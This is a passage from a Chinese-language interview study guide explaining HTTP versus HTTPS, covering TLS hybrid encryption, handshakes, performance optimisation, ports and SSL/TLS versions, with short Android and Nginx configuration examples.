- 可能连接到假冒服务器
-
无数据完整性校验
- 无法验证数据是否被篡改
- 数据可能在传输中被修改
- 无法发现数据被篡改
-
无加密保护
- 所有数据都是明文
- 任何人可以截获并查看
- 隐私信息泄露
不安全场景示例:
-
数据窃听
客户端 → [明文数据] → 服务器 ↑ 攻击者可以截获并查看所有数据 -
中间人攻击
客户端 → [攻击者] → 服务器 ↑ 攻击者可以冒充服务器 -
数据篡改
客户端 → [数据被篡改] → 服务器 ↑ 攻击者可以修改数据
HTTP不安全示例:
# HTTP请求(明文)
POST /login HTTP/1.1
Content-Type: application/json
{
"username": "john",
"password": "123456" # 明文密码,可被窃听
}
# HTTP响应(明文)
HTTP/1.1 200 OK
Content-Type: application/json
{
"token": "abc123", # 令牌明文,可被窃听
"userInfo": {
"email": "john@example.com" # 个人信息明文
}
}
安全风险:
- 密码泄露
- 个人信息泄露
- 会话劫持
- 数据篡改
- 中间人攻击
解决方案:
- 使用HTTPS
- 加密敏感数据
- 使用安全协议
- 遵守安全最佳实践
9.8 HTTPS如何保证安全性?
答案:
HTTPS通过SSL/TLS加密、身份验证和数据完整性校验来保证安全性。
HTTPS安全机制:
-
加密传输(SSL/TLS)
- 对称加密:加密实际数据
- 非对称加密:交换对称加密密钥
- 混合加密:结合两种加密方式
-
身份验证(数字证书)
- 服务器证书:验证服务器身份
- CA签名:验证证书真实性
- 证书链:建立信任链
-
数据完整性(MAC/Hash)
- MAC(消息认证码):验证数据完整性
- Hash算法:生成摘要
- 数字签名:验证数据来源
HTTPS安全流程:
-
握手阶段
客户端 → 服务器:客户端Hello 服务器 → 客户端:服务器Hello + 证书 客户端:验证证书 客户端 → 服务器:客户端密钥交换 双方:生成会话密钥 -
数据传输阶段
客户端 → 服务器:加密数据 服务器 → 客户端:加密数据
安全机制详解:
-
对称加密
- 使用相同的密钥加密和解密
- 速度快,适合大量数据
- 例如:AES
-
非对称加密
- 使用公钥加密,私钥解密
- 速度慢,适合少量数据
- 例如:RSA
-
混合加密
- 非对称加密交换对称加密密钥
- 对称加密加密实际数据
- 兼顾安全性和性能
-
数字证书
- 包含服务器公钥
- 由CA签名
- 验证服务器身份
-
完整性校验
- MAC验证数据完整性
- Hash算法生成摘要
- 防止数据被篡改
Android代码示例:
// HTTPS连接(自动处理加密)
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动处理
// 1. 握手(验证证书、交换密钥)
// 2. 加密传输数据
// 读取数据(自动解密)
InputStream inputStream = conn.getInputStream();
安全保证:
- 数据传输加密(无法窃听)
- 服务器身份验证(防止中间人攻击)
- 数据完整性校验(防止篡改)
最佳实践:
- 使用有效的SSL/TLS证书
- 使用强加密算法
- 及时更新SSL/TLS版本
- 遵守安全最佳实践
9.9 HTTP和HTTPS的数据传输有什么区别?
答案:
HTTP和HTTPS在数据传输上的主要区别:
-
数据格式
- HTTP:明文数据
- HTTPS:加密数据
-
传输过程
- HTTP:直接传输明文
- HTTPS:先加密再传输,接收端再解密
-
数据可见性
- HTTP:数据可见(可被查看)
- HTTPS:数据不可见(加密后无法查看)
数据传输对比:
HTTP数据传输:
客户端 → [明文数据] → 服务器
{username: "john", password: "123456"}
数据完全可见
HTTPS数据传输:
客户端 → [加密数据] → 服务器
{encrypted: "aB3$kL9...mN8@xY2"}
数据不可见(加密后)
传输流程对比:
HTTP传输流程:
1. 客户端准备数据(明文)
2. 通过TCP连接发送(明文)
3. 服务器接收数据(明文)
4. 服务器处理数据(明文)
HTTPS传输流程:
1. 客户端准备数据(明文)
2. 使用SSL/TLS加密数据
3. 通过TCP连接发送(加密)
4. 服务器接收数据(加密)
5. 使用SSL/TLS解密数据
6. 服务器处理数据(明文)
数据格式示例:
HTTP请求(明文):
POST /api/login HTTP/1.1
Content-Type: application/json
{
"username": "john",
"password": "123456"
}
HTTPS请求(加密,实际看到的是加密数据):
POST /api/login HTTP/1.1
Content-Type: application/json
[加密后的二进制数据,无法直接读取]
Android代码示例:
// HTTP(明文传输)
URL httpUrl = new URL("http://www.example.com/api");
HttpURLConnection httpConn = (HttpURLConnection) httpUrl.openConnection();
// 数据明文传输,可被截获查看
// HTTPS(加密传输)
URL httpsUrl = new URL("https://www.example.com/api");
HttpsURLConnection httpsConn = (HttpsURLConnection) httpsUrl.openConnection();
// 数据加密传输,无法被截获查看
// SSL/TLS自动处理加密/解密
性能影响:
- HTTP:性能好(无加密开销)
- HTTPS:性能稍差(有加密/解密开销)
- 现代HTTPS性能已大幅提升(硬件加速、优化)
安全性对比:
| 特性 | HTTP | HTTPS |
|---|---|---|
| 数据格式 | 明文 | 加密 |
| 数据可见性 | 可见 | 不可见 |
| 安全性 | 不安全 | 安全 |
| 性能 | 好 | 稍差(但可接受) |
最佳实践:
- 敏感数据使用HTTPS
- 生产环境使用HTTPS
- 现代HTTPS性能已足够好
- 安全性优先于性能
9.10 HTTP和HTTPS的加密方式有什么区别?
答案:
HTTP和HTTPS在加密方式上的区别:
-
HTTP
- 无加密:数据明文传输
- 不进行任何加密处理
- 数据可被直接查看
-
HTTPS
- 有加密:使用SSL/TLS加密
- 对称加密 + 非对称加密(混合加密)
- 数据加密后传输
加密方式对比:
HTTP(无加密):
数据 → 明文传输 → 数据
无加密过程
HTTPS(混合加密):
数据 → 对称加密(AES) → 加密数据 → 传输
密钥 → 非对称加密(RSA) → 交换密钥
混合加密机制
HTTPS加密方式详解:
-
握手阶段(非对称加密)
- 使用非对称加密(RSA/ECDSA)
- 交换对称加密密钥
- 验证身份(证书)
-
数据传输阶段(对称加密)
- 使用对称加密(AES)
- 加密实际数据
- 性能更好
-
混合加密
- 非对称加密:安全,但慢(用于密钥交换)
- 对称加密:快,但需要安全交换密钥(用于数据加密)
- 结合两者优势
加密算法:
-
非对称加密算法
- RSA:传统,兼容性好
- ECDSA:现代,性能好
- Diffie-Hellman:密钥交换
-
对称加密算法
- AES-128/256:现代标准
- 3DES:旧标准(不推荐)
- ChaCha20:现代,性能好
-
Hash算法
- SHA-256/384/512:现代标准
- MD5:不安全(不推荐)
- SHA-1:不安全(不推荐)
加密流程示例:
HTTPS握手(密钥交换):
客户端 → 服务器:客户端Hello
服务器 → 客户端:服务器Hello + 证书(包含公钥)
客户端:验证证书,提取公钥
客户端 → 服务器:使用公钥加密对称密钥
服务器:使用私钥解密对称密钥
双方:获得相同的对称密钥
HTTPS数据传输(数据加密):
客户端:使用对称密钥加密数据
客户端 → 服务器:发送加密数据
服务器:使用对称密钥解密数据
服务器:使用对称密钥加密响应
服务器 → 客户端:发送加密响应
客户端:使用对称密钥解密响应
Android代码示例:
// HTTPS自动处理加密
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动处理:
// 1. 握手(非对称加密交换密钥)
// 2. 数据传输(对称加密)
// 代码层面无需关心加密细节
InputStream inputStream = conn.getInputStream();
加密强度对比:
| 特性 | HTTP | HTTPS |
|---|---|---|
| 加密方式 | 无加密 | SSL/TLS混合加密 |
| 对称加密 | 无 | AES-128/256 |
| 非对称加密 | 无 | RSA/ECDSA |
| 加密强度 | 无 | 强 |
最佳实践:
- 使用强加密算法(AES-256、RSA-2048+)
- 使用现代TLS版本(TLS 1.2+)
- 禁用弱加密算法
- 定期更新加密配置
9.11 HTTP和HTTPS的性能差异是什么?
答案:
HTTP和HTTPS在性能上的主要差异:
-
连接建立时间
- HTTP:快(TCP三次握手)
- HTTPS:慢(TCP三次握手 + SSL/TLS握手)
-
CPU消耗
- HTTP:低(无加密/解密)
- HTTPS:高(加密/解密运算)
-
内存消耗
- HTTP:低
- HTTPS:高(需要存储加密上下文)
-
带宽消耗
- HTTP:低(无额外开销)
- HTTPS:稍高(加密数据可能略大)
性能对比表:
| 特性 | HTTP | HTTPS | 差异 |
|---|---|---|---|
| 连接建立 | 快(~100ms) | 慢(~200-500ms) | +100-400ms |
| CPU消耗 | 低 | 高 | +5-15% |
| 内存消耗 | 低 | 高 | +10-20KB |
| 带宽消耗 | 低 | 稍高 | +10-20字节/请求 |
| 整体性能 | 快 | 稍慢 | 可接受 |
性能差异原因:
-
SSL/TLS握手开销
- 需要证书验证
- 需要密钥交换
- 需要加密算法协商
-
加密/解密开销
- 对称加密运算
- 非对称加密运算(握手阶段)
- Hash运算
-
额外数据
- SSL/TLS记录头
- 加密填充
- MAC(消息认证码)
性能优化:
-
硬件加速
- 使用硬件加密卡
- 使用CPU加密指令(AES-NI)
- 大幅提升性能
-
会话复用(Session Resumption)
- TLS会话复用
- 减少握手开销
- 提高性能
-
HTTP/2.0
- 多路复用
- 头部压缩
- 提高性能
-
CDN
- 使用CDN加速HTTPS
- 减少延迟
- 提高性能
性能测试示例:
# HTTP性能
连接建立:~100ms
数据传输:~50ms
总时间:~150ms
# HTTPS性能(无优化)
连接建立:~400ms(包括SSL/TLS握手)
数据传输:~60ms(包括加密/解密)
总时间:~460ms
# HTTPS性能(有优化)
连接建立:~200ms(会话复用)
数据传输:~55ms(硬件加速)
总时间:~255ms
实际性能影响:
-
现代HTTPS性能已足够好
- 硬件加速已普及
- 性能差异已大幅缩小
- 大多数场景可接受
-
性能 vs 安全性
- 安全性优先
- 性能差异可接受
- 现代HTTPS性能已足够好
-
使用建议
- 生产环境使用HTTPS
- 性能不是不使用HTTPS的理由
- 通过优化提高HTTPS性能
Android代码示例:
// HTTP(性能好)
long startTime = System.currentTimeMillis();
URL httpUrl = new URL("http://www.example.com");
HttpURLConnection httpConn = (HttpURLConnection) httpUrl.openConnection();
// 连接建立:~100ms
long httpTime = System.currentTimeMillis() - startTime;
// HTTPS(性能稍差,但可接受)
startTime = System.currentTimeMillis();
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection httpsConn = (HttpsURLConnection) httpsUrl.openConnection();
// 连接建立:~200-400ms(包括SSL/TLS握手)
long httpsTime = System.currentTimeMillis() - startTime;
// HTTPS时间稍长,但安全性更重要
最佳实践:
- 生产环境使用HTTPS
- 启用硬件加速
- 使用会话复用
- 使用HTTP/2.0
- 性能差异可接受,安全性优先
9.12 HTTPS为什么比HTTP慢?
答案:
HTTPS比HTTP慢的原因:
-
SSL/TLS握手开销
- 需要证书验证
- 需要密钥交换
- 需要加密算法协商
- 增加200-300ms延迟
-
加密/解密运算
- 对称加密运算(AES)
- 非对称加密运算(RSA/ECDSA)
- Hash运算(SHA)
- 消耗CPU资源
-
额外数据传输
- SSL/TLS记录头
- 加密填充
- MAC(消息认证码)
- 增加少量带宽
慢的原因详解:
-
SSL/TLS握手(主要原因)
客户端 → 服务器:客户端Hello(~50ms) 服务器 → 客户端:服务器Hello + 证书(~50ms) 客户端:验证证书(~50ms) 客户端 → 服务器:密钥交换(~50ms) 服务器:密钥交换(~50ms) 总计:~200-300ms -
加密/解密运算
- 对称加密:AES运算(每个数据块)
- 非对称加密:RSA/ECDSA运算(握手阶段)
- Hash运算:SHA运算(完整性校验)
- CPU消耗:增加5-15%
-
额外数据
- SSL/TLS记录头:5字节
- 加密填充:0-255字节
- MAC:16-32字节
- 总增加:~20-300字节/记录
性能影响量化:
| 阶段 | HTTP | HTTPS | 差异 |
|---|---|---|---|
| 连接建立 | ~100ms | ~300-500ms | +200-400ms |
| 数据传输(加密) | 无 | ~5-10ms | +5-10ms |
| CPU消耗 | 1% | 5-15% | +4-14% |
| 总延迟(首次) | ~150ms | ~400-600ms | +250-450ms |
优化方法:
-
会话复用(Session Resumption)
- 减少握手开销
- 从
400ms降至200ms - 性能提升50%
-
硬件加速
- CPU加密指令(AES-NI)
- 硬件加密卡
- 性能提升2-10倍
-
HTTP/2.0
- 多路复用
- 减少连接数
- 提高性能
-
CDN
- 减少延迟
- 提高性能
优化后性能:
| 阶段 | HTTP | HTTPS(优化前) | HTTPS(优化后) |
|---|---|---|---|
| 连接建立 | ~100ms | ~400ms | ~200ms |
| 数据传输 | ~50ms | ~60ms | ~55ms |
| 总延迟 | ~150ms | ~460ms | ~255ms |
| 性能差异 | 基准 | +310ms | +105ms |
Android代码示例:
// HTTP(快)
long start = System.currentTimeMillis();
URL httpUrl = new URL("http://www.example.com");
HttpURLConnection httpConn = (HttpURLConnection) httpUrl.openConnection();
httpConn.connect();
long httpTime = System.currentTimeMillis() - start;
// 约100-150ms
// HTTPS(慢,但可接受)
start = System.currentTimeMillis();
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection httpsConn = (HttpsURLConnection) httpsUrl.openConnection();
httpsConn.connect();
long httpsTime = System.currentTimeMillis() - start;
// 约300-500ms(首次),200-300ms(会话复用)
实际使用建议:
- HTTPS慢的原因主要是握手开销
- 通过优化可以大幅改善
- 现代HTTPS性能已足够好
- 安全性优先于性能
9.13 HTTPS的性能优化有哪些?
答案:
HTTPS性能优化的方法:
-
会话复用(Session Resumption)
- TLS会话复用
- 减少握手开销
- 性能提升50%
-
硬件加速
- CPU加密指令(AES-NI)
- 硬件加密卡
- 性能提升2-10倍
-
HTTP/2.0
- 多路复用
- 减少连接数
- 提高性能
-
CDN
- 使用CDN加速HTTPS
- 减少延迟
- 提高性能
-
证书优化
- 使用ECDSA证书(比RSA快)
- 优化证书链
- 减少验证时间
优化方法详解:
-
会话复用(Session Resumption)
首次连接:完整握手(~400ms) 后续连接:会话复用(~200ms) 性能提升:50%- 服务器保存会话信息
- 客户端发送会话ID
- 跳过大部分握手步骤
-
硬件加速
软件加密:100% CPU 硬件加速(AES-NI):10-20% CPU 性能提升:5-10倍- 使用CPU加密指令
- 使用硬件加密卡
- 大幅提升加密性能
-
HTTP/2.0
HTTP/1.1:多个连接 HTTP/2.0:单个连接,多路复用 性能提升:减少连接开销- 多路复用
- 头部压缩
- 服务器推送
-
CDN
直接连接:~300ms延迟 CDN连接:~50ms延迟 性能提升:减少延迟- 使用CDN加速
- 减少网络延迟
- 提高响应速度
-
证书优化
RSA-2048:~50ms ECDSA-256:~10ms 性能提升:5倍- 使用ECDSA证书
- 优化证书链
- 减少验证时间
优化效果:
| 优化方法 | 性能提升 | 实施难度 |
|---|---|---|
| 会话复用 | 50% | 低 |
| 硬件加速 | 5-10倍 | 中 |
| HTTP/2.0 | 20-30% | 中 |
| CDN | 减少延迟 | 低 |
| 证书优化 | 10-20% | 低 |
Android代码示例:
// 启用会话复用(默认启用)
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
// 系统自动处理会话复用
// HTTP/2.0(OkHttp)
OkHttpClient client = new OkHttpClient.Builder()
.protocols(Arrays.asList(Protocol.HTTP_2, Protocol.HTTP_1_1))
.build();
// 自动使用HTTP/2.0多路复用
服务器配置示例(Nginx):
# 启用会话复用
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
# 使用现代TLS版本
ssl_protocols TLSv1.2 TLSv1.3;
# 使用ECDSA证书(更快)
ssl_certificate /path/to/ecdsa.crt;
ssl_certificate_key /path/to/ecdsa.key;
最佳实践:
- 启用会话复用
- 使用硬件加速
- 使用HTTP/2.0
- 使用CDN
- 优化证书
- 现代HTTPS性能已足够好
9.14 HTTP和HTTPS的连接建立过程有什么区别?
答案:
HTTP和HTTPS在连接建立过程上的主要区别:
-
HTTP连接建立
- TCP三次握手
- 直接开始HTTP通信
- 简单快速
-
HTTPS连接建立
- TCP三次握手
- SSL/TLS握手(额外步骤)
- 然后开始HTTP通信
- 复杂但安全
连接建立过程对比:
HTTP连接建立:
1. TCP三次握手
客户端 → 服务器:SYN
服务器 → 客户端:SYN-ACK
客户端 → 服务器:ACK
2. HTTP通信开始
客户端 → 服务器:HTTP请求
服务器 → 客户端:HTTP响应
HTTPS连接建立:
1. TCP三次握手
客户端 → 服务器:SYN
服务器 → 客户端:SYN-ACK
客户端 → 服务器:ACK
2. SSL/TLS握手(额外步骤)
客户端 → 服务器:客户端Hello
服务器 → 客户端:服务器Hello + 证书
客户端:验证证书
客户端 → 服务器:客户端密钥交换
服务器 → 客户端:服务器Hello Done
双方:生成会话密钥
3. HTTP通信开始(加密)
客户端 → 服务器:加密的HTTP请求
服务器 → 客户端:加密的HTTP响应
详细过程:
HTTP连接建立(~100ms):
步骤1:TCP三次握手
客户端 → 服务器:SYN(同步)
服务器 → 客户端:SYN-ACK(同步确认)
客户端 → 服务器:ACK(确认)
时间:~50-100ms
步骤2:HTTP请求
客户端 → 服务器:HTTP请求
服务器 → 客户端:HTTP响应
时间:~50ms
总时间:~100-150ms
HTTPS连接建立(~300-500ms):
步骤1:TCP三次握手
客户端 → 服务器:SYN
服务器 → 客户端:SYN-ACK
客户端 → 服务器:ACK
时间:~50-100ms
步骤2:SSL/TLS握手
2.1 客户端Hello
客户端 → 服务器:支持的TLS版本、加密套件、随机数
时间:~50ms
2.2 服务器Hello + 证书
服务器 → 客户端:选择的TLS版本、加密套件、证书、随机数
时间:~50ms
2.3 证书验证
客户端:验证证书(检查CA、有效期等)
时间:~50ms
2.4 客户端密钥交换
客户端 → 服务器:使用服务器公钥加密的对称密钥
时间:~50ms
2.5 完成握手
双方:生成会话密钥
时间:~50ms
总时间:~200-300ms
步骤3:HTTP请求(加密)
客户端 → 服务器:加密的HTTP请求
服务器 → 客户端:加密的HTTP响应
时间:~50ms
总时间:~300-500ms
Android代码示例:
// HTTP连接建立
long start = System.currentTimeMillis();
URL httpUrl = new URL("http://www.example.com");
HttpURLConnection httpConn = (HttpURLConnection) httpUrl.openConnection();
httpConn.connect();
long httpTime = System.currentTimeMillis() - start;
// 约100-150ms(TCP三次握手)
// HTTPS连接建立
start = System.currentTimeMillis();
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection httpsConn = (HttpsURLConnection) httpsUrl.openConnection();
httpsConn.connect();
long httpsTime = System.currentTimeMillis() - start;
// 约300-500ms(TCP三次握手 + SSL/TLS握手)
时间对比:
| 阶段 | HTTP | HTTPS | 差异 |
|---|---|---|---|
| TCP三次握手 | ~50-100ms | ~50-100ms | 相同 |
| SSL/TLS握手 | 无 | ~200-300ms | +200-300ms |
| HTTP通信 | ~50ms | ~50ms | 相同 |
| 总时间 | ~100-150ms | ~300-500ms | +200-350ms |
优化后(会话复用):
| 阶段 | HTTP | HTTPS(首次) | HTTPS(复用) |
|---|---|---|---|
| TCP三次握手 | ~100ms | ~100ms | ~100ms |
| SSL/TLS握手 | 无 | ~300ms | ~50ms(会话复用) |
| HTTP通信 | ~50ms | ~50ms | ~50ms |
| 总时间 | ~150ms | ~450ms | ~200ms |
最佳实践:
- HTTPS连接建立需要额外时间(SSL/TLS握手)
- 通过会话复用可以大幅减少时间
- 现代HTTPS性能已足够好
- 安全性优先于性能
9.15 如何选择使用HTTP还是HTTPS?
答案:
选择使用HTTP还是HTTPS的原则:
-
生产环境
- 必须使用HTTPS
- 保护用户数据
- 遵守安全规范
-
敏感数据
- 必须使用HTTPS
- 登录、支付、个人信息
- 防止数据泄露
-
开发/测试环境
- 可以使用HTTP
- 简化开发流程
- 但建议使用HTTPS
-
内网环境
- 可以使用HTTP
- 如果网络安全可控
- 但建议使用HTTPS
选择指南:
| 场景 | 推荐 | 说明 |
|---|---|---|
| 生产环境 | HTTPS | 必须使用 |
| 敏感数据 | HTTPS | 必须使用 |
| 登录/支付 | HTTPS | 必须使用 |
| 开发环境 | HTTPS | 建议使用 |
| 测试环境 | HTTPS | 建议使用 |
| 内网环境 | HTTPS | 建议使用 |
| 静态资源 | HTTPS | 建议使用 |
| API接口 | HTTPS | 建议使用 |
使用场景:
-
必须使用HTTPS
- 生产环境
- 用户登录
- 支付交易
- 个人信息
- 敏感数据
-
建议使用HTTPS
- 开发环境
- 测试环境
- 内网环境
- 所有Web服务
-
可以使用HTTP(不推荐)
- 仅限开发/测试
- 内网且安全可控
- 非敏感数据
- 临时服务
最佳实践:
-
HTTPS优先(HSTS)
- 始终使用HTTPS
- 使用HSTS强制HTTPS
- 重定向HTTP到HTTPS
-
开发环境
- 使用自签名证书
- 使用本地HTTPS
- 模拟生产环境
-
性能考虑
- 现代HTTPS性能已足够好
- 性能不是不使用HTTPS的理由
- 通过优化提高HTTPS性能
Android代码示例:
// 生产环境:使用HTTPS
String productionUrl = "https://api.example.com";
// 开发环境:可以使用HTTP,但建议HTTPS
String devUrl = "https://dev-api.example.com";
// 或使用自签名证书的HTTPS
// 检测URL协议
URL url = new URL("https://www.example.com");
if ("https".equals(url.getProtocol())) {
// HTTPS连接
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
} else if ("http".equals(url.getProtocol())) {
// HTTP连接(不推荐)
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
}
安全建议:
- 生产环境必须使用HTTPS
- 敏感数据必须使用HTTPS
- 开发环境建议使用HTTPS
- 现代HTTPS性能已足够好
- 安全性优先于性能
总结:
- 默认选择HTTPS
- 除非有特殊原因,否则使用HTTPS
- 现代HTTPS性能已足够好
- 安全性是最重要的考虑因素
第十章:HTTPS 基础(15 题)
10.1 HTTPS是什么?它的全称是什么?
答案:
HTTPS(HyperText Transfer Protocol Secure):超文本传输安全协议,是在HTTP基础上添加了SSL/TLS加密层的安全版本。
HTTPS定义:
- HTTP + SSL/TLS
- 安全的HTTP协议
- 加密传输数据
- 身份验证
- 数据完整性
HTTPS特点:
-
安全性
- 加密传输
- 身份验证
- 数据完整性
-
兼容性
- 基于HTTP
- 与HTTP兼容
- 使用SSL/TLS加密
-
应用场景
- 生产环境
- 敏感数据传输
- 用户登录、支付
HTTPS协议栈:
应用层:HTTP
安全层:SSL/TLS
传输层:TCP
网络层:IP
Android代码示例:
// HTTPS连接
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动处理加密
InputStream inputStream = conn.getInputStream();
10.2 HTTPS的特点是什么?
答案:
HTTPS的特点:
-
安全性
- 加密传输(SSL/TLS)
- 身份验证(数字证书)
- 数据完整性(MAC)
-
兼容性
- 基于HTTP
- 与HTTP兼容
- 使用相同的URL格式(https://)
-
性能
- 比HTTP稍慢(加密开销)
- 现代HTTPS性能已足够好
- 可接受的开销
-
应用场景
- 生产环境
- 敏感数据
- 用户登录、支付
HTTPS vs HTTP对比:
| 特性 | HTTP | HTTPS |
|---|---|---|
| 加密 | 无 | 有(SSL/TLS) |
| 身份验证 | 无 | 有(证书) |
| 数据完整性 | 无 | 有(MAC) |
| 端口 | 80 | 443 |
| 性能 | 快 | 稍慢(但可接受) |
| 安全性 | 不安全 | 安全 |
HTTPS优势:
- 数据传输加密
- 防止中间人攻击
- 防止数据被窃听
- 防止数据被篡改
- 身份验证
HTTPS劣势:
- 性能稍差(加密开销)
- 需要证书(成本)
- 配置稍复杂
最佳实践:
- 生产环境使用HTTPS
- 敏感数据使用HTTPS
- 现代HTTPS性能已足够好
- 安全性优先
10.3 HTTPS属于OSI模型的哪一层?
答案:
HTTPS属于OSI模型的第7层(应用层)。
OSI模型分层:
-
第7层:应用层
- HTTPS
- HTTP
- FTP
- SMTP
-
HTTPS在OSI模型中的位置
7. 应用层:HTTPS(HTTP + SSL/TLS) 6. 表示层:SSL/TLS(部分功能) 5. 会话层:SSL/TLS(部分功能) 4. 传输层:TCP 3. 网络层:IP 2. 数据链路层:以太网 1. 物理层:物理介质
详细说明:
-
HTTPS主要在应用层
- HTTPS协议本身属于应用层
- HTTP协议属于应用层
- SSL/TLS为HTTP提供安全服务
-
SSL/TLS的跨层特性
- SSL/TLS在应用层和传输层之间
- 有些功能属于表示层和会话层
- 但通常归类为应用层协议
Android代码示例:
// HTTPS属于应用层
// 在Android中使用HttpsURLConnection
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// 应用层协议(HTTPS)
// 传输层协议(TCP)
// 网络层协议(IP)
协议栈关系:
- HTTPS:应用层协议
- SSL/TLS:为HTTPS提供安全服务
- TCP:传输层协议
- IP:网络层协议
10.4 HTTPS属于TCP/IP模型的哪一层?
答案:
HTTPS属于TCP/IP模型的第4层(应用层)。
TCP/IP模型分层:
-
第4层:应用层
- HTTPS
- HTTP
- FTP
- SMTP
-
HTTPS在TCP/IP模型中的位置
4. 应用层:HTTPS(HTTP + SSL/TLS) 3. 传输层:TCP 2. 网络层:IP 1. 网络接口层:以太网/物理层
详细说明:
-
HTTPS在应用层
- HTTPS协议属于应用层
- HTTP协议属于应用层
- SSL/TLS为HTTP提供安全服务
-
TCP/IP模型分层
- 应用层:HTTPS、HTTP
- 传输层:TCP、UDP
- 网络层:IP
- 网络接口层:以太网
Android代码示例:
// HTTPS属于TCP/IP模型的应用层
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// TCP/IP模型:
// 应用层:HTTPS
// 传输层:TCP
// 网络层:IP
// 网络接口层:以太网
协议栈关系:
- HTTPS:应用层协议
- TCP:传输层协议
- IP:网络层协议
- 以太网:网络接口层
10.5 HTTPS的默认端口号是什么?
答案:
HTTPS的默认端口号是443。
端口号说明:
-
默认端口
- HTTPS:443
- HTTP:80
-
URL中的端口
https://www.example.com # 默认443端口 https://www.example.com:443 # 显式指定443端口 https://www.example.com:8443 # 使用8443端口(自定义) -
常见端口
- HTTPS:443
- HTTP:80
- HTTPS代理:8443
Android代码示例:
// HTTPS默认端口443
URL httpsUrl = new URL("https://www.example.com");
// 实际连接端口:443
// 指定端口
URL customUrl = new URL("https://www.example.com:8443");
// 连接端口:8443
端口使用:
- 生产环境:443(默认)
- 开发环境:8443(自定义)
- 测试环境:8443(自定义)
10.6 HTTPS的加密原理是什么?
答案:
HTTPS的加密原理是使用SSL/TLS协议进行混合加密。
HTTPS加密原理:
-
混合加密
- 非对称加密:交换对称加密密钥
- 对称加密:加密实际数据
- 结合两者优势
-
加密流程
握手阶段(非对称加密): 客户端 → 服务器:客户端Hello 服务器 → 客户端:服务器Hello + 证书(包含公钥) 客户端:验证证书,提取公钥 客户端 → 服务器:使用公钥加密对称密钥 服务器:使用私钥解密对称密钥 双方:获得相同的对称密钥 数据传输阶段(对称加密): 客户端 → 服务器:使用对称密钥加密数据 服务器 → 客户端:使用对称密钥加密数据 -
加密算法
- 非对称加密:RSA、ECDSA
- 对称加密:AES-128/256
- Hash算法:SHA-256/384/512
详细说明:
-
非对称加密(密钥交换)
- 服务器有公钥和私钥
- 公钥在证书中
- 客户端使用公钥加密对称密钥
- 服务器使用私钥解密
-
对称加密(数据加密)
- 使用相同的密钥加密和解密
- 速度快,适合大量数据
- 密钥通过非对称加密安全交换
-
混合加密优势
- 非对称加密:安全,但慢(用于密钥交换)
- 对称加密:快,但需要安全交换密钥(用于数据加密)
- 结合两者优势
Android代码示例:
// HTTPS自动处理加密
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动处理:
// 1. 握手(非对称加密交换密钥)
// 2. 数据传输(对称加密)
// 代码层面无需关心加密细节
加密原理总结:
- 使用混合加密(非对称 + 对称)
- 非对称加密交换密钥
- 对称加密加密数据
- SSL/TLS自动处理
10.7 为什么需要HTTPS?
答案:
需要HTTPS的原因:
-
安全性
- HTTP是明文传输,数据可被窃听
- HTTPS加密传输,数据不可被窃听
- 保护敏感数据
-
身份验证
- HTTP无法验证服务器身份
- HTTPS通过证书验证服务器身份
- 防止中间人攻击
-
数据完整性
- HTTP无法验证数据完整性
- HTTPS通过MAC验证数据完整性
- 防止数据被篡改
-
合规要求
- 法律法规要求
- 行业标准要求
- 安全最佳实践
安全性需求:
-
数据保护
- 用户密码
- 个人信息
- 支付信息
- 隐私数据
-
防止攻击
- 数据窃听
- 数据篡改
- 中间人攻击
- 会话劫持
-
信任建立
- 用户信任
- 品牌保护
- 合规要求
使用场景:
- 生产环境
- 用户登录
- 支付交易
- 个人信息
- 敏感数据
最佳实践:
- 生产环境必须使用HTTPS
- 敏感数据必须使用HTTPS
- 遵守安全最佳实践
- 安全性优先
10.8 SSL是什么?它的全称是什么?
答案:
SSL(Secure Sockets Layer):安全套接字层,是用于加密网络通信的协议。
SSL定义:
- 安全套接字层
- 加密网络通信
- 身份验证
- 数据完整性
SSL版本:
- SSL 1.0:未发布
- SSL 2.0:已废弃(不安全)
- SSL 3.0:已废弃(不安全,POODLE攻击)
SSL状态:
- SSL已被TLS取代
- 不再推荐使用
- 应该使用TLS
SSL vs TLS:
- SSL:旧协议,已废弃
- TLS:新协议,当前标准
- TLS是SSL的后续版本
Android代码示例:
// SSL已被TLS取代
// 应该使用TLS,而不是SSL
// SSLContext.getDefault() 实际返回TLS实现
最佳实践:
- 不使用SSL
- 使用TLS 1.2+
- 禁用SSL 2.0/3.0
- 使用现代TLS版本
10.9 TLS是什么?它的全称是什么?
答案:
TLS(Transport Layer Security):传输层安全,是用于加密网络通信的协议。
TLS定义:
- 传输层安全
- SSL的后续版本
- 加密网络通信
- 身份验证
- 数据完整性
TLS版本:
- TLS 1.0:已废弃(不安全)
- TLS 1.1:已废弃(不安全)
- TLS 1.2:当前标准(推荐)
- TLS 1.3:最新版本(推荐)
TLS特点:
- 安全性好
- 性能好
- 广泛应用
- 当前标准
Android代码示例:
// TLS配置
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, null, null);
// 使用TLS 1.2+
// Android默认使用TLS 1.2
最佳实践:
- 使用TLS 1.2+
- 优先使用TLS 1.3
- 禁用TLS 1.0/1.1
- 使用现代TLS版本
10.10 SSL和TLS的区别是什么?
答案:
SSL和TLS的主要区别:
-
版本关系
- SSL:旧协议(SSL 1.0-3.0)
- TLS:新协议(TLS 1.0-1.3)
- TLS是SSL的后续版本
-
安全性
- SSL:已废弃,不安全
- TLS:当前标准,安全
-
使用状态
- SSL:不推荐使用
- TLS:推荐使用
-
名称
